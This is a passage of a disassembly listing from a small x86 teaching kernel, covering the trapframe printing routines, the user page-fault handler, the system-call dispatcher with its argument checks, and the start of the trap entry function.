f01010c7: c6 05 04 fd 11 f0 00 movb $0x0,0xf011fd04
f01010ce: c6 05 05 fd 11 f0 8e movb $0x8e,0xf011fd05
f01010d5: 66 a3 06 fd 11 f0 mov %ax,0xf011fd06
f01010db: 5d pop %ebp
f01010dc: e9 3e fc ff ff jmp f0100d1f <trap_init_percpu>
f01010e1 <print_regs>:
f01010e1: 55 push %ebp
f01010e2: 89 e5 mov %esp,%ebp
f01010e4: 53 push %ebx
f01010e5: 83 ec 0c sub $0xc,%esp
f01010e8: 8b 5d 08 mov 0x8(%ebp),%ebx
f01010eb: ff 33 pushl (%ebx)
f01010ed: 68 70 2f 10 f0 push $0xf0102f70
f01010f2: e8 6f 13 00 00 call f0102466 <cprintf>
f01010f7: 58 pop %eax
f01010f8: 5a pop %edx
f01010f9: ff 73 04 pushl 0x4(%ebx)
f01010fc: 68 7f 2f 10 f0 push $0xf0102f7f
f0101101: e8 60 13 00 00 call f0102466 <cprintf>
f0101106: 59 pop %ecx
f0101107: 58 pop %eax
f0101108: ff 73 08 pushl 0x8(%ebx)
f010110b: 68 8e 2f 10 f0 push $0xf0102f8e
f0101110: e8 51 13 00 00 call f0102466 <cprintf>
f0101115: 58 pop %eax
f0101116: 5a pop %edx
f0101117: ff 73 0c pushl 0xc(%ebx)
f010111a: 68 9d 2f 10 f0 push $0xf0102f9d
f010111f: e8 42 13 00 00 call f0102466 <cprintf>
f0101124: 59 pop %ecx
f0101125: 58 pop %eax
f0101126: ff 73 10 pushl 0x10(%ebx)
f0101129: 68 ac 2f 10 f0 push $0xf0102fac
f010112e: e8 33 13 00 00 call f0102466 <cprintf>
f0101133: 58 pop %eax
f0101134: 5a pop %edx
f0101135: ff 73 14 pushl 0x14(%ebx)
f0101138: 68 bb 2f 10 f0 push $0xf0102fbb
f010113d: e8 24 13 00 00 call f0102466 <cprintf>
f0101142: 59 pop %ecx
f0101143: 58 pop %eax
f0101144: ff 73 18 pushl 0x18(%ebx)
f0101147: 68 ca 2f 10 f0 push $0xf0102fca
f010114c: e8 15 13 00 00 call f0102466 <cprintf>
f0101151: 58 pop %eax
f0101152: 5a pop %edx
f0101153: ff 73 1c pushl 0x1c(%ebx)
f0101156: 68 d9 2f 10 f0 push $0xf0102fd9
f010115b: e8 06 13 00 00 call f0102466 <cprintf>
f0101160: 83 c4 10 add $0x10,%esp
f0101163: 8b 5d fc mov -0x4(%ebp),%ebx
f0101166: c9 leave
f0101167: c3 ret
f0101168 <print_trapframe>:
f0101168: 55 push %ebp
f0101169: 89 e5 mov %esp,%ebp
f010116b: 56 push %esi
f010116c: 53 push %ebx
f010116d: 8b 5d 08 mov 0x8(%ebp),%ebx
f0101170: 56 push %esi
f0101171: 56 push %esi
f0101172: 53 push %ebx
f0101173: 68 3d 30 10 f0 push $0xf010303d
f0101178: e8 e9 12 00 00 call f0102466 <cprintf>
f010117d: 89 1c 24 mov %ebx,(%esp)
f0101180: e8 5c ff ff ff call f01010e1 <print_regs>
f0101185: 58 pop %eax
f0101186: 0f b7 43 20 movzwl 0x20(%ebx),%eax
f010118a: 5a pop %edx
f010118b: 50 push %eax
f010118c: 68 4f 30 10 f0 push $0xf010304f
f0101191: e8 d0 12 00 00 call f0102466 <cprintf>
f0101196: 0f b7 43 24 movzwl 0x24(%ebx),%eax
f010119a: 59 pop %ecx
f010119b: 5e pop %esi
f010119c: 50 push %eax
f010119d: 68 62 30 10 f0 push $0xf0103062
f01011a2: e8 bf 12 00 00 call f0102466 <cprintf>
f01011a7: 8b 43 28 mov 0x28(%ebx),%eax
f01011aa: 83 c4 10 add $0x10,%esp
f01011ad: 83 f8 13 cmp $0x13,%eax
f01011b0: 77 09 ja f01011bb <print_trapframe+0x53>
f01011b2: 8b 14 85 40 33 10 f0 mov -0xfefccc0(,%eax,4),%edx
f01011b9: eb 1d jmp f01011d8 <print_trapframe+0x70>
f01011bb: 83 f8 30 cmp $0x30,%eax
f01011be: ba e8 2f 10 f0 mov $0xf0102fe8,%edx
f01011c3: 74 13 je f01011d8 <print_trapframe+0x70>
f01011c5: 8d 50 e0 lea -0x20(%eax),%edx
f01011c8: b9 07 30 10 f0 mov $0xf0103007,%ecx
f01011cd: 83 fa 10 cmp $0x10,%edx
f01011d0: ba f4 2f 10 f0 mov $0xf0102ff4,%edx
f01011d5: 0f 43 d1 cmovae %ecx,%edx
f01011d8: 51 push %ecx
f01011d9: 52 push %edx
f01011da: 50 push %eax
f01011db: 68 75 30 10 f0 push $0xf0103075
f01011e0: e8 81 12 00 00 call f0102466 <cprintf>
f01011e5: 83 c4 10 add $0x10,%esp
f01011e8: 3b 1d 00 04 12 f0 cmp 0xf0120400,%ebx
f01011ee: 75 19 jne f0101209 <print_trapframe+0xa1>
f01011f0: 83 7b 28 0e cmpl $0xe,0x28(%ebx)
f01011f4: 75 13 jne f0101209 <print_trapframe+0xa1>
f01011f6: 0f 20 d0 mov %cr2,%eax
f01011f9: 52 push %edx
f01011fa: 52 push %edx
f01011fb: 50 push %eax
f01011fc: 68 87 30 10 f0 push $0xf0103087
f0101201: e8 60 12 00 00 call f0102466 <cprintf>
f0101206: 83 c4 10 add $0x10,%esp
f0101209: 50 push %eax
f010120a: 50 push %eax
f010120b: ff 73 2c pushl 0x2c(%ebx)
f010120e: 68 96 30 10 f0 push $0xf0103096
f0101213: e8 4e 12 00 00 call f0102466 <cprintf>
f0101218: 83 c4 10 add $0x10,%esp
f010121b: 83 7b 28 0e cmpl $0xe,0x28(%ebx)
f010121f: 75 3a jne f010125b <print_trapframe+0xf3>
f0101221: 8b 43 2c mov 0x2c(%ebx),%eax
f0101224: ba 21 30 10 f0 mov $0xf0103021,%edx
f0101229: b9 16 30 10 f0 mov $0xf0103016,%ecx
f010122e: be 2d 30 10 f0 mov $0xf010302d,%esi
f0101233: a8 01 test $0x1,%al
f0101235: 0f 44 ca cmove %edx,%ecx
f0101238: a8 02 test $0x2,%al
f010123a: ba 33 30 10 f0 mov $0xf0103033,%edx
f010123f: 0f 45 d6 cmovne %esi,%edx
f0101242: a8 04 test $0x4,%al
f0101244: be ca 2d 10 f0 mov $0xf0102dca,%esi
f0101249: b8 38 30 10 f0 mov $0xf0103038,%eax
f010124e: 51 push %ecx
f010124f: 52 push %edx
f0101250: 0f 44 c6 cmove %esi,%eax
f0101253: 50 push %eax
f0101254: 68 a4 30 10 f0 push $0xf01030a4
f0101259: eb 08 jmp f0101263 <print_trapframe+0xfb>
f010125b: 83 ec 0c sub $0xc,%esp
f010125e: 68 09 2b 10 f0 push $0xf0102b09
f0101263: e8 fe 11 00 00 call f0102466 <cprintf>
f0101268: 83 c4 10 add $0x10,%esp
f010126b: 56 push %esi
f010126c: 56 push %esi
f010126d: ff 73 30 pushl 0x30(%ebx)
f0101270: 68 b3 30 10 f0 push $0xf01030b3
f0101275: e8 ec 11 00 00 call f0102466 <cprintf>
f010127a: 58 pop %eax
f010127b: 0f b7 43 34 movzwl 0x34(%ebx),%eax
f010127f: 5a pop %edx
f0101280: 50 push %eax
f0101281: 68 c2 30 10 f0 push $0xf01030c2
f0101286: e8 db 11 00 00 call f0102466 <cprintf>
f010128b: 59 pop %ecx
f010128c: 5e pop %esi
f010128d: ff 73 38 pushl 0x38(%ebx)
f0101290: 68 d5 30 10 f0 push $0xf01030d5
f0101295: e8 cc 11 00 00 call f0102466 <cprintf>
f010129a: 83 c4 10 add $0x10,%esp
f010129d: f6 43 34 03 testb $0x3,0x34(%ebx)
f01012a1: 74 23 je f01012c6 <print_trapframe+0x15e>
f01012a3: 50 push %eax
f01012a4: 50 push %eax
f01012a5: ff 73 3c pushl 0x3c(%ebx)
f01012a8: 68 e4 30 10 f0 push $0xf01030e4
f01012ad: e8 b4 11 00 00 call f0102466 <cprintf>
f01012b2: 0f b7 43 40 movzwl 0x40(%ebx),%eax
f01012b6: 5a pop %edx
f01012b7: 59 pop %ecx
f01012b8: 50 push %eax
f01012b9: 68 f3 30 10 f0 push $0xf01030f3
f01012be: e8 a3 11 00 00 call f0102466 <cprintf>
f01012c3: 83 c4 10 add $0x10,%esp
f01012c6: 8d 65 f8 lea -0x8(%ebp),%esp
f01012c9: 5b pop %ebx
f01012ca: 5e pop %esi
f01012cb: 5d pop %ebp
f01012cc: c3 ret
f01012cd <page_fault_handler>:
f01012cd: 55 push %ebp
f01012ce: 89 e5 mov %esp,%ebp
f01012d0: 57 push %edi
f01012d1: 56 push %esi
f01012d2: 53 push %ebx
f01012d3: 83 ec 0c sub $0xc,%esp
f01012d6: 8b 5d 08 mov 0x8(%ebp),%ebx
f01012d9: 0f 20 d2 mov %cr2,%edx
f01012dc: f6 43 34 03 testb $0x3,0x34(%ebx)
f01012e0: 75 15 jne f01012f7 <page_fault_handler+0x2a>
f01012e2: 50 push %eax
f01012e3: 68 06 31 10 f0 push $0xf0103106
f01012e8: 68 38 01 00 00 push $0x138
f01012ed: 68 1e 31 10 f0 push $0xf010311e
f01012f2: e8 da 12 00 00 call f01025d1 <_panic>
f01012f7: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f01012fc: 83 78 64 00 cmpl $0x0,0x64(%eax)
f0101300: 74 58 je f010135a <page_fault_handler+0x8d>
f0101302: 8b 43 3c mov 0x3c(%ebx),%eax
f0101305: 89 de mov %ebx,%esi
f0101307: 8d 88 00 10 40 11 lea 0x11401000(%eax),%ecx
f010130d: 83 e8 38 sub $0x38,%eax
f0101310: 81 f9 ff 0f 00 00 cmp $0xfff,%ecx
f0101316: b9 cc ff bf ee mov $0xeebfffcc,%ecx
f010131b: 0f 47 c1 cmova %ecx,%eax
f010131e: b9 08 00 00 00 mov $0x8,%ecx
f0101323: 83 ec 0c sub $0xc,%esp
f0101326: 89 10 mov %edx,(%eax)
f0101328: 8b 53 2c mov 0x2c(%ebx),%edx
f010132b: 8d 78 08 lea 0x8(%eax),%edi
f010132e: 89 50 04 mov %edx,0x4(%eax)
f0101331: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f0101333: 8b 53 30 mov 0x30(%ebx),%edx
f0101336: 89 50 28 mov %edx,0x28(%eax)
f0101339: 8b 53 38 mov 0x38(%ebx),%edx
f010133c: 89 50 2c mov %edx,0x2c(%eax)
f010133f: 8b 53 3c mov 0x3c(%ebx),%edx
f0101342: 89 50 30 mov %edx,0x30(%eax)
f0101345: 8b 15 ac 04 12 f0 mov 0xf01204ac,%edx
f010134b: 8b 4a 64 mov 0x64(%edx),%ecx
f010134e: 89 42 3c mov %eax,0x3c(%edx)
f0101351: 89 4a 30 mov %ecx,0x30(%edx)
f0101354: 52 push %edx
f0101355: e8 04 0c 00 00 call f0101f5e <env_run>
f010135a: ff 73 30 pushl 0x30(%ebx)
f010135d: 52 push %edx
f010135e: ff 70 48 pushl 0x48(%eax)
f0101361: 68 25 31 10 f0 push $0xf0103125
f0101366: e8 fb 10 00 00 call f0102466 <cprintf>
f010136b: 89 1c 24 mov %ebx,(%esp)
f010136e: e8 f5 fd ff ff call f0101168 <print_trapframe>
f0101373: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f0101378: 83 c4 10 add $0x10,%esp
f010137b: 89 45 08 mov %eax,0x8(%ebp)
f010137e: 8d 65 f4 lea -0xc(%ebp),%esp
f0101381: 5b pop %ebx
f0101382: 5e pop %esi
f0101383: 5f pop %edi
f0101384: 5d pop %ebp
f0101385: e9 69 0b 00 00 jmp f0101ef3 <env_destroy>
f010138a <syscall>:
f010138a: 55 push %ebp
f010138b: 89 e5 mov %esp,%ebp
f010138d: 57 push %edi
f010138e: 56 push %esi
f010138f: 53 push %ebx
f0101390: 83 ec 1c sub $0x1c,%esp
f0101393: 8b 55 08 mov 0x8(%ebp),%edx
f0101396: 8b 45 0c mov 0xc(%ebp),%eax
f0101399: 8b 75 10 mov 0x10(%ebp),%esi
f010139c: 8b 7d 18 mov 0x18(%ebp),%edi
f010139f: 83 fa 0d cmp $0xd,%edx
f01013a2: 0f 87 14 04 00 00 ja f01017bc <syscall+0x432>
f01013a8: ff 24 95 00 33 10 f0 jmp *-0xfefcd00(,%edx,4)
f01013af: 57 push %edi
f01013b0: 50 push %eax
f01013b1: 56 push %esi
f01013b2: 68 48 31 10 f0 push $0xf0103148
f01013b7: e8 aa 10 00 00 call f0102466 <cprintf>
f01013bc: eb 3c jmp f01013fa <syscall+0x70>
f01013be: e8 71 f6 ff ff call f0100a34 <cons_getc>
f01013c3: e9 6b 03 00 00 jmp f0101733 <syscall+0x3a9>
f01013c8: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f01013cd: 8b 58 48 mov 0x48(%eax),%ebx
f01013d0: e9 ec 03 00 00 jmp f01017c1 <syscall+0x437>
f01013d5: 8d 55 e4 lea -0x1c(%ebp),%edx
f01013d8: 53 push %ebx
f01013d9: 6a 01 push $0x1
f01013db: 52 push %edx
f01013dc: 50 push %eax
f01013dd: e8 43 07 00 00 call f0101b25 <envid2env>
f01013e2: 83 c4 10 add $0x10,%esp
f01013e5: 85 c0 test %eax,%eax
f01013e7: 89 c3 mov %eax,%ebx
f01013e9: 0f 88 d2 03 00 00 js f01017c1 <syscall+0x437>
f01013ef: 83 ec 0c sub $0xc,%esp
f01013f2: ff 75 e4 pushl -0x1c(%ebp)
f01013f5: e8 f9 0a 00 00 call f0101ef3 <env_destroy>
f01013fa: 83 c4 10 add $0x10,%esp
f01013fd: e9 b6 03 00 00 jmp f01017b8 <syscall+0x42e>
f0101402: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f0101407: 51 push %ecx
f0101408: 51 push %ecx
f0101409: ff 70 48 pushl 0x48(%eax)
f010140c: 8d 45 e4 lea -0x1c(%ebp),%eax
f010140f: 50 push %eax
f0101410: e8 d6 07 00 00 call f0101beb <env_alloc>
f0101415: 83 c4 10 add $0x10,%esp
f0101418: 85 c0 test %eax,%eax
f010141a: 89 c3 mov %eax,%ebx
f010141c: 0f 88 9f 03 00 00 js f01017c1 <syscall+0x437>
f0101422: 8b 45 e4 mov -0x1c(%ebp),%eax
f0101425: c7 40 54 04 00 00 00 movl $0x4,0x54(%eax)
f010142c: 52 push %edx
f010142d: 6a 44 push $0x44
f010142f: ff 35 ac 04 12 f0 pushl 0xf01204ac
f0101435: 50 push %eax
f0101436: e8 8e 14 00 00 call f01028c9 <memcpy>
f010143b: 8b 45 e4 mov -0x1c(%ebp),%eax
f010143e: 83 c4 10 add $0x10,%esp
f0101441: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
f0101448: 8b 58 48 mov 0x48(%eax),%ebx
f010144b: e9 71 03 00 00 jmp f01017c1 <syscall+0x437>
f0101450: 8d 4e fe lea -0x2(%esi),%ecx
f0101453: bb fd ff ff ff mov $0xfffffffd,%ebx
f0101458: 83 e1 fd and $0xfffffffd,%ecx
f010145b: 0f 85 60 03 00 00 jne f01017c1 <syscall+0x437>
f0101461: 8d 55 e4 lea -0x1c(%ebp),%edx
f0101464: 57 push %edi
f0101465: 6a 01 push $0x1
f0101467: b3 fe mov $0xfe,%bl
f0101469: 52 push %edx
f010146a: 50 push %eax
f010146b: e8 b5 06 00 00 call f0101b25 <envid2env>
f0101470: 83 c4 10 add $0x10,%esp
f0101473: 85 c0 test %eax,%eax
f0101475: 0f 88 46 03 00 00 js f01017c1 <syscall+0x437>
f010147b: 8b 45 e4 mov -0x1c(%ebp),%eax
f010147e: 89 70 54 mov %esi,0x54(%eax)
f0101481: e9 32 03 00 00 jmp f01017b8 <syscall+0x42e>
f0101486: 8d 55 e4 lea -0x1c(%ebp),%edx
f0101489: 51 push %ecx
f010148a: 6a 01 push $0x1
f010148c: bb fe ff ff ff mov $0xfffffffe,%ebx
f0101491: 52 push %edx
f0101492: 50 push %eax
f0101493: e8 8d 06 00 00 call f0101b25 <envid2env>
f0101498: 83 c4 10 add $0x10,%esp
f010149b: 85 c0 test %eax,%eax
f010149d: 0f 88 1e 03 00 00 js f01017c1 <syscall+0x437>
f01014a3: 81 fe ff ff bf ee cmp $0xeebfffff,%esi
f01014a9: b3 fd mov $0xfd,%bl
f01014ab: 0f 87 10 03 00 00 ja f01017c1 <syscall+0x437>
f01014b1: f7 c6 ff 0f 00 00 test $0xfff,%esi
f01014b7: 0f 85 04 03 00 00 jne f01017c1 <syscall+0x437>
f01014bd: 8b 45 14 mov 0x14(%ebp),%eax
f01014c0: 83 e0 05 and $0x5,%eax
f01014c3: 83 f8 05 cmp $0x5,%eax
f01014c6: 0f 85 f5 02 00 00 jne f01017c1 <syscall+0x437>
f01014cc: 8b 5d 14 mov 0x14(%ebp),%ebx
f01014cf: 81 e3 f8 f1 ff ff and $0xfffff1f8,%ebx
f01014d5: 0f 85 e1 02 00 00 jne f01017bc <syscall+0x432>
f01014db: 83 ec 0c sub $0xc,%esp
f01014de: 6a 01 push $0x1
f01014e0: e8 7a ec ff ff call f010015f <page_alloc>
f01014e5: 83 c4 10 add $0x10,%esp
f01014e8: 85 c0 test %eax,%eax
f01014ea: 89 c7 mov %eax,%edi
f01014ec: 75 16 jne f0101504 <syscall+0x17a>
f01014ee: 83 ec 0c sub $0xc,%esp
f01014f1: bb fc ff ff ff mov $0xfffffffc,%ebx
f01014f6: 57 push %edi
f01014f7: e8 b1 ec ff ff call f01001ad <page_free>
f01014fc: 83 c4 10 add $0x10,%esp
f01014ff: e9 bd 02 00 00 jmp f01017c1 <syscall+0x437>
f0101504: ff 75 14 pushl 0x14(%ebp)
f0101507: 56 push %esi
f0101508: 50 push %eax
f0101509: 8b 45 e4 mov -0x1c(%ebp),%eax
f010150c: ff 70 60 pushl 0x60(%eax)
f010150f: e8 f8 ef ff ff call f010050c <page_insert>
f0101514: 83 c4 10 add $0x10,%esp
f0101517: 85 c0 test %eax,%eax
f0101519: 0f 89 a2 02 00 00 jns f01017c1 <syscall+0x437>
f010151f: eb cd jmp f01014ee <syscall+0x164>
f0101521: 52 push %edx
f0101522: 8d 55 dc lea -0x24(%ebp),%edx
f0101525: 6a 01 push $0x1
f0101527: 52 push %edx
f0101528: 50 push %eax
f0101529: e8 f7 05 00 00 call f0101b25 <envid2env>
f010152e: 83 c4 10 add $0x10,%esp
f0101531: 85 c0 test %eax,%eax
f0101533: 79 0a jns f010153f <syscall+0x1b5>
f0101535: bb fe ff ff ff mov $0xfffffffe,%ebx
f010153a: e9 82 02 00 00 jmp f01017c1 <syscall+0x437>
f010153f: 8d 45 e0 lea -0x20(%ebp),%eax
f0101542: 53 push %ebx
f0101543: 6a 01 push $0x1
f0101545: 50 push %eax
f0101546: ff 75 14 pushl 0x14(%ebp)
f0101549: e8 d7 05 00 00 call f0101b25 <envid2env>
f010154e: 83 c4 10 add $0x10,%esp
f0101551: 85 c0 test %eax,%eax
f0101553: 78 e0 js f0101535 <syscall+0x1ab>
f0101555: 81 fe ff ff bf ee cmp $0xeebfffff,%esi
f010155b: 0f 87 5b 02 00 00 ja f01017bc <syscall+0x432>
f0101561: 81 ff ff ff bf ee cmp $0xeebfffff,%edi
f0101567: 0f 87 4f 02 00 00 ja f01017bc <syscall+0x432>
f010156d: f7 c6 ff 0f 00 00 test $0xfff,%esi
f0101573: 0f 85 43 02 00 00 jne f01017bc <syscall+0x432>
f0101579: f7 c7 ff 0f 00 00 test $0xfff,%edi
f010157f: 0f 85 37 02 00 00 jne f01017bc <syscall+0x432>
f0101585: 8b 45 1c mov 0x1c(%ebp),%eax
f0101588: 83 e0 05 and $0x5,%eax
f010158b: 83 f8 05 cmp $0x5,%eax
f010158e: 0f 85 28 02 00 00 jne f01017bc <syscall+0x432>
f0101594: 8b 5d 1c mov 0x1c(%ebp),%ebx
f0101597: 81 e3 f8 f1 ff ff and $0xfffff1f8,%ebx
f010159d: 0f 85 19 02 00 00 jne f01017bc <syscall+0x432>
f01015a3: 8d 45 e4 lea -0x1c(%ebp),%eax
f01015a6: 51 push %ecx
f01015a7: 50 push %eax
f01015a8: 8b 45 dc mov -0x24(%ebp),%eax
f01015ab: 56 push %esi
f01015ac: ff 70 60 pushl 0x60(%eax)
f01015af: e8 ae ee ff ff call f0100462 <page_lookup>
f01015b4: 83 c4 10 add $0x10,%esp
f01015b7: 85 c0 test %eax,%eax
f01015b9: 0f 84 fd 01 00 00 je f01017bc <syscall+0x432>
f01015bf: f6 45 1c 02 testb $0x2,0x1c(%ebp)
f01015c3: 74 0a je f01015cf <syscall+0x245>
f01015c5: f6 45 e4 02 testb $0x2,-0x1c(%ebp)
f01015c9: 0f 85 ed 01 00 00 jne f01017bc <syscall+0x432>
f01015cf: ff 75 1c pushl 0x1c(%ebp)
f01015d2: 57 push %edi
f01015d3: 50 push %eax
f01015d4: 8b 45 e0 mov -0x20(%ebp),%eax
f01015d7: ff 70 60 pushl 0x60(%eax)
f01015da: e8 2d ef ff ff call f010050c <page_insert>
f01015df: 83 c4 10 add $0x10,%esp
f01015e2: 85 c0 test %eax,%eax
f01015e4: b8 fc ff ff ff mov $0xfffffffc,%eax
f01015e9: 0f 48 d8 cmovs %eax,%ebx
f01015ec: e9 d0 01 00 00 jmp f01017c1 <syscall+0x437>
f01015f1: 52 push %edx
f01015f2: 8d 55 e4 lea -0x1c(%ebp),%edx
f01015f5: 6a 01 push $0x1
f01015f7: bb fe ff ff ff mov $0xfffffffe,%ebx
f01015fc: 52 push %edx
f01015fd: 50 push %eax
f01015fe: e8 22 05 00 00 call f0101b25 <envid2env>
f0101603: 83 c4 10 add $0x10,%esp
f0101606: 85 c0 test %eax,%eax
f0101608: 0f 88 b3 01 00 00 js f01017c1 <syscall+0x437>
f010160e: 81 fe ff ff bf ee cmp $0xeebfffff,%esi
f0101614: b3 fd mov $0xfd,%bl
f0101616: 0f 87 a5 01 00 00 ja f01017c1 <syscall+0x437>
f010161c: f7 c6 ff 0f 00 00 test $0xfff,%esi
f0101622: 0f 85 99 01 00 00 jne f01017c1 <syscall+0x437>
f0101628: 50 push %eax
f0101629: 50 push %eax
f010162a: 8b 45 e4 mov -0x1c(%ebp),%eax
f010162d: 56 push %esi
f010162e: ff 70 60 pushl 0x60(%eax)
f0101631: e8 83 ee ff ff call f01004b9 <page_remove>
f0101636: e9 bf fd ff ff jmp f01013fa <syscall+0x70>
f010163b: 8d 55 e4 lea -0x1c(%ebp),%edx
f010163e: 57 push %edi
f010163f: 6a 01 push $0x1
f0101641: bb fe ff ff ff mov $0xfffffffe,%ebx
f0101646: 52 push %edx
f0101647: 50 push %eax
f0101648: e8 d8 04 00 00 call f0101b25 <envid2env>
f010164d: 83 c4 10 add $0x10,%esp
f0101650: 85 c0 test %eax,%eax
f0101652: 0f 88 69 01 00 00 js f01017c1 <syscall+0x437>
f0101658: 85 f6 test %esi,%esi
f010165a: b3 fd mov $0xfd,%bl
f010165c: 0f 84 5f 01 00 00 je f01017c1 <syscall+0x437>
f0101662: 8b 45 e4 mov -0x1c(%ebp),%eax
f0101665: 89 70 64 mov %esi,0x64(%eax)
f0101668: e9 4b 01 00 00 jmp f01017b8 <syscall+0x42e>
f010166d: 8d 55 e0 lea -0x20(%ebp),%edx
f0101670: 53 push %ebx
f0101671: 6a 00 push $0x0
f0101673: 52 push %edx
f0101674: 50 push %eax
f0101675: e8 ab 04 00 00 call f0101b25 <envid2env>
f010167a: 83 c4 10 add $0x10,%esp
f010167d: 85 c0 test %eax,%eax
f010167f: 89 c3 mov %eax,%ebx
f0101681: 0f 88 3a 01 00 00 js f01017c1 <syscall+0x437>
f0101687: 8b 45 e0 mov -0x20(%ebp),%eax
f010168a: bb f9 ff ff ff mov $0xfffffff9,%ebx
f010168f: 80 78 68 00 cmpb $0x0,0x68(%eax)
f0101693: 0f 84 28 01 00 00 je f01017c1 <syscall+0x437>
f0101699: 81 7d 14 ff ff bf ee cmpl $0xeebfffff,0x14(%ebp)
f01016a0: c6 40 68 00 movb $0x0,0x68(%eax)
f01016a4: 0f 87 93 00 00 00 ja f010173d <syscall+0x3b3>
f01016aa: 8b 45 14 mov 0x14(%ebp),%eax
f01016ad: 25 00 f0 ff ff and $0xfffff000,%eax
f01016b2: 39 45 14 cmp %eax,0x14(%ebp)
f01016b5: 0f 85 01 01 00 00 jne f01017bc <syscall+0x432>
f01016bb: 89 f8 mov %edi,%eax
f01016bd: 83 e0 05 and $0x5,%eax
f01016c0: 83 f8 05 cmp $0x5,%eax
f01016c3: 0f 85 f3 00 00 00 jne f01017bc <syscall+0x432>
f01016c9: f7 c7 f8 f1 ff ff test $0xfffff1f8,%edi
f01016cf: 0f 85 e7 00 00 00 jne f01017bc <syscall+0x432>
f01016d5: 8d 45 e4 lea -0x1c(%ebp),%eax
f01016d8: 51 push %ecx
f01016d9: 50 push %eax
f01016da: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f01016df: ff 75 14 pushl 0x14(%ebp)
f01016e2: ff 70 60 pushl 0x60(%eax)
f01016e5: e8 78 ed ff ff call f0100462 <page_lookup>
f01016ea: 83 c4 10 add $0x10,%esp
f01016ed: 85 c0 test %eax,%eax
f01016ef: 0f 84 c7 00 00 00 je f01017bc <syscall+0x432>
f01016f5: f7 c7 02 00 00 00 test $0x2,%edi
f01016fb: 74 0c je f0101709 <syscall+0x37f>
f01016fd: 8b 55 e4 mov -0x1c(%ebp),%edx
f0101700: f6 02 02 testb $0x2,(%edx)
f0101703: 0f 84 b3 00 00 00 je f01017bc <syscall+0x432>
f0101709: 8b 55 e0 mov -0x20(%ebp),%edx
f010170c: 8b 4a 6c mov 0x6c(%edx),%ecx
f010170f: 81 f9 ff ff bf ee cmp $0xeebfffff,%ecx
f0101715: 77 26 ja f010173d <syscall+0x3b3>
f0101717: 57 push %edi
f0101718: 51 push %ecx
f0101719: 50 push %eax
f010171a: ff 72 60 pushl 0x60(%edx)
f010171d: e8 ea ed ff ff call f010050c <page_insert>
f0101722: 83 c4 10 add $0x10,%esp
f0101725: 85 c0 test %eax,%eax
f0101727: 8b 4d e0 mov -0x20(%ebp),%ecx
f010172a: 79 0e jns f010173a <syscall+0x3b0>
f010172c: c7 41 78 00 00 00 00 movl $0x0,0x78(%ecx)
f0101733: 89 c3 mov %eax,%ebx
f0101735: e9 87 00 00 00 jmp f01017c1 <syscall+0x437>
f010173a: 89 79 78 mov %edi,0x78(%ecx)
f010173d: 8b 15 ac 04 12 f0 mov 0xf01204ac,%edx
f0101743: 8b 45 e0 mov -0x20(%ebp),%eax
f0101746: 8b 52 48 mov 0x48(%edx),%edx
f0101749: 89 70 70 mov %esi,0x70(%eax)
f010174c: c7 40 54 02 00 00 00 movl $0x2,0x54(%eax)
f0101753: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
f010175a: 89 50 74 mov %edx,0x74(%eax)
f010175d: eb 59 jmp f01017b8 <syscall+0x42e>
f010175f: 3d ff ff bf ee cmp $0xeebfffff,%eax
f0101764: 77 0c ja f0101772 <syscall+0x3e8>
f0101766: a9 ff 0f 00 00 test $0xfff,%eax
f010176b: bb fd ff ff ff mov $0xfffffffd,%ebx
f0101770: 75 4f jne f01017c1 <syscall+0x437>
f0101772: 8b 15 ac 04 12 f0 mov 0xf01204ac,%edx
f0101778: c6 42 68 01 movb $0x1,0x68(%edx)
f010177c: 89 42 6c mov %eax,0x6c(%edx)
f010177f: c7 42 54 04 00 00 00 movl $0x4,0x54(%edx)
f0101786: e8 e5 01 00 00 call f0101970 <sched_yield>
f010178b: 52 push %edx
f010178c: 8d 55 e4 lea -0x1c(%ebp),%edx
f010178f: 6a 01 push $0x1
f0101791: bb fe ff ff ff mov $0xfffffffe,%ebx
f0101796: 52 push %edx
f0101797: 50 push %eax
f0101798: e8 88 03 00 00 call f0101b25 <envid2env>
f010179d: 83 c4 10 add $0x10,%esp
f01017a0: 85 c0 test %eax,%eax
f01017a2: 78 1d js f01017c1 <syscall+0x437>
f01017a4: 8b 7d e4 mov -0x1c(%ebp),%edi
f01017a7: b9 11 00 00 00 mov $0x11,%ecx
f01017ac: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f01017ae: 8b 45 e4 mov -0x1c(%ebp),%eax
f01017b1: 81 48 38 00 02 00 00 orl $0x200,0x38(%eax)
f01017b8: 31 db xor %ebx,%ebx
f01017ba: eb 05 jmp f01017c1 <syscall+0x437>
f01017bc: bb fd ff ff ff mov $0xfffffffd,%ebx
f01017c1: 8d 65 f4 lea -0xc(%ebp),%esp
f01017c4: 89 d8 mov %ebx,%eax
f01017c6: 5b pop %ebx
f01017c7: 5e pop %esi
f01017c8: 5f pop %edi
f01017c9: 5d pop %ebp
f01017ca: c3 ret
f01017cb <trap>:
f01017cb: 55 push %ebp
f01017cc: 89 e5 mov %esp,%ebp
f01017ce: 57 push %edi
f01017cf: 56 push %esi
f01017d0: 8b 75 08 mov 0x8(%ebp),%esi
f01017d3: fc cld
f01017d4: 66 8b 46 34 mov 0x34(%esi),%ax
f01017d8: 83 e0 03 and $0x3,%eax
f01017db: 66 83 f8 03 cmp $0x3,%ax
f01017df: 75 42 jne f0101823 <trap+0x58>
f01017e1: 83 ec 0c sub $0xc,%esp
f01017e4: 68 cc 08 12 f0 push $0xf01208cc
f01017e9: e8 d2 07 00 00 call f0101fc0 <spin_lock>
f01017ee: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f01017f3: 83 c4 10 add $0x10,%esp
f01017f6: 83 78 54 01 cmpl $0x1,0x54(%eax)
f01017fa: 75 18 jne f0101814 <trap+0x49>
f01017fc: 83 ec 0c sub $0xc,%esp
f01017ff: 50 push %eax
f0101800: e8 e3 05 00 00 call f0101de8 <env_free>
f0101805: c7 05 ac 04 12 f0 00 movl $0x0,0xf01204ac
f010180c: 00 00 00
f010180f: e8 5c 01 00 00 call f0101970 <sched_yield>
f0101814: b9 11 00 00 00 mov $0x11,%ecx
f0101819: 89 c7 mov %eax,%edi
